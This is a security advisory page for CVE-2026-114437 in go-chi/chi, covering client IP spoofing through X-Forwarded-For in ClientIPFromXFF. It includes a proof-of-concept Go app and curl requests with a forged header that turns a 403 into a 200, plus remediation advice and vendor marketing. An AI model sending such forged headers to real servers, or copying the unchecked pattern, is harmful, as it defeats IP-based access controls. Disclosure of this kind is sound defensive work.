Summary
chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For
ClientIPFromXFF skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.
The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).
Preconditions: The application uses ClientIPFromXFF and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.
- Send
GET /admindirectly to the origin with noX-Forwarded-Forheader. - Observe a
403 Forbiddenresponse and an empty derived client IP. - Repeat the request with
X-Forwarded-For: 10.0.0.7, 198.51.100.42. - Observe
200 OKandclient-ip="10.0.0.7". Expected: the untrusted direct peer prevents the forwarding chain from being accepted.
Details
The vulnerable code is ClientIPFromXFF in middleware/client_ip.go, lines 93-116 at the tested revision. It calls walkXFF with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:
walkXFF(r.Header[xForwardedForHeader], func(v string) bool {
ip, ok := parseHeaderAddr(v)
if !ok {
return true
}
if inAnyPrefix(ip, prefixes) {
return false
}
found = ip
return true
})
The function does not parse r.RemoteAddr before this walk. Consequently, the configured CIDRs identify trusted strings inside X-Forwarded-For, but do not establish that the immediate sender is one of those trusted proxies.
Proof of concept
Using Go 1.24 or later, create and run this minimal application against the tested revision:
mkdir chi-clientip-poc
cd chi-clientip-poc
go mod init clientip-poc
go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1
cat > main.go <<'EOF'
package main
import (
"fmt"
"log"
"net/http"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
const allowedIP = "10.0.0.7"
func main() {
r := chi.NewRouter()
r.Use(middleware.ClientIPFromXFF("198.51.100.0/24"))
r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
clientIP := middleware.GetClientIP(r.Context())
if clientIP != allowedIP {
http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden)
return
}
fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP)
})
log.Print("listening on http://127.0.0.1:3001")
log.Fatal(http.ListenAndServe("127.0.0.1:3001", r))
}
EOF
go run .
The no-header control was rejected:
$ curl --http1.1 -i http://127.0.0.1:3001/admin
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Tue, 06 Oct 2026 15:46:27 GMT
Content-Length: 48
denied: tcp-peer="127.0.0.1:54416" client-ip=""
Adding the forged chain authorized the same direct client:
$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin
HTTP/1.1 200 OK
Date: Tue, 06 Oct 2026 15:46:33 GMT
Content-Length: 57
Content-Type: text/plain; charset=utf-8
allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7"
Impact
I made an anonymous direct connection from 127.0.0.1, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted 10.0.0.7. This changed the authorization decision from 403 Forbidden to 200 OK for the protected handler.
CVE-2026-114437 has a CVSS score of 4.8 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.4.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-114437? CVE-2026-114437 is a medium-severity security vulnerability in github.com/go-chi/chi/v5 (go), affecting versions <= 5.3.2. It is fixed in 5.4.0.
- How severe is CVE-2026-114437? CVE-2026-114437 has a CVSS score of 4.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/go-chi/chi/v5 are affected by CVE-2026-114437? github.com/go-chi/chi/v5 (go) versions <= 5.3.2 is affected.
- Is there a fix for CVE-2026-114437? Yes. CVE-2026-114437 is fixed in 5.4.0. Upgrade to this version or later.
- Is CVE-2026-114437 exploitable, and should I be worried? Whether CVE-2026-114437 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-114437 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-114437? Upgrade
github.com/go-chi/chi/v5to 5.4.0 or later.